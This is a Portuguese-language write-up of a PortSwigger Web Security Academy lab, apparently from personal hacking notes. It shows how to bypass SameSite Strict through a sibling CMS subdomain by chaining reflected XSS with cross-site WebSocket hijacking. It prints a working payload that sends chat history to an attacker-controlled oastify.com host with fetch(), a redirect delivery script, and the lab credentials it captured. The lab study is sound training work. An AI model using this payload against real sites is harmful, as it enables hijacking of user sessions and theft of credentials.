> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# Bypass de SameSite Strict via Domínio Irmão

Notas sobre Bypass de SameSite Strict via Domínio Irmão para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Bypass do SameSite Strict via domínio irmão

Lab: a funcionalidade de chat ao vivo é vulnerável ao sequestro de WebSocket entre sites (CSWSH). O objetivo do lab é acessar a conta da vítima extraindo o histórico do chat para o servidor Burp Collaborator padrão; o histórico contém credenciais em texto claro.

Use o servidor de exploit fornecido para lançar um ataque CSWSH que exfiltre o histórico do gato da vítima.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1efd03e4b2692f37d2cc85ed1fb2b53e07f1dd6c%2F%7B7077EE3F-FCC1-4C57-93C4-C3CAB5D62566%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O chat funciona via WebSocket e o histórico passa por ele.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07d5718a2fe9b6223f8586fa6bd8c87a073c19b6%2F%7B99CDB8D3-7BCF-406B-ABC0-957929E902F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O cookie de sessão é enviado com SameSite (bloqueando cenários convencionais de redirecionamento entre sites).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dce786375c1902ecac6e7a8dae172667c0b97954%2F%7BAD8D348C-2ADA-41F7-BA49-EBA0E268CDED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O arquivo JavaScript do lado do cliente (por exemplo, `chat.js`) é carregado a partir de um subdomínio do CMS que retorna um `Access-Control-Allow-Origin` cabeçalho que permite interação a partir desse subdomínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d90723c4eb07e8f35bf941e33d14408ea5328c6%2F%7B671EAEB4-A3C4-478E-B363-657987271AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O painel de autenticação do CMS é vulnerável à injeção de script por meio do `nome de usuário` parâmetro (por exemplo, `?username=<script>alert(0)</script>&password=test`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc4af5646a32679db8d81eec51f61eefaec6803c%2F%7B4A2E88B4-ABF1-4666-B7AA-CCE1BAC2BF4D%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9850ef91d190c40ed7831bfb29545227b31d6ab%2F%7B8FAC89E0-C2E4-4E67-989C-72DAC9B97E9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d07aeedc483206f68d45886df17db0c21811e4b%2F%7B087408EC-76DA-4130-B9E6-9168FD20BFAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Usando essa injeção, você pode executar JavaScript no contexto do subdomínio vulnerável, estabelecendo assim um WebSocket autenticado (os cookies são então enviados, já que a origem é a mesma) para o servidor de chat.

### Abordagem (resumo)

1. Coloque um script malicioso no `nome de usuário` parâmetro do formulário de login do subdomínio do CMS.
2. Este script abre uma conexão WebSocket com o servidor de chat e envia um `READY` sinal.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. Ao receber mensagens do WebSocket (histórico do gato), o `fetch` script codifica esses dados (base64) para um servidor controlado pelo atacante (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dad7c08963473657fc10563368dfe5a5173da617%2F%7B4239C10B-F14F-4BAD-8DE4-C56725B89462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Hospede/serva um redirecionamento no servidor de exploit para fazer a vítima visitar a URL vulnerável (login com `nome de usuário` contendo o script).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Resultados observados

* Quando a consulta exfiltrada foi recebida, o `dados` parâmetro continha uma string base64; ao decodificá-la, obtemos a entrada do gato.
* Exemplo de payload recebido (decodificado em base64):

```json
{"user":"CONECTADO","content":"-- Agora conversando com Hal Pline --"}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c7b1128389ed1b05d24ac806481a5d850ff50f9%2F%7B70D4995F-55D5-4C8F-B32A-7D6EEE4107AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7d5c93cda77a0463ed943847aedc38a103c2914%2F%7BED87981F-0C21-4DF7-97AD-DCC251F79623%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ao injetar a partir do contexto autenticado (subdomínio do CMS), o script transmitiu mensagens contendo conversas de usuários e, neste caso, uma mensagem contendo as credenciais em texto claro.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Credenciais extraídas (conforme observado)

* `carlos:hdf3fkk8h7tnltupqs5t` (credenciais encontradas no histórico do gato)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"Sem problema, carlos, é hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470e2f3d8bb175bc144967a4c03220dfe145c2d1%2F%7BD71DB3CA-4B55-4DA1-A891-F5EC4C58E23F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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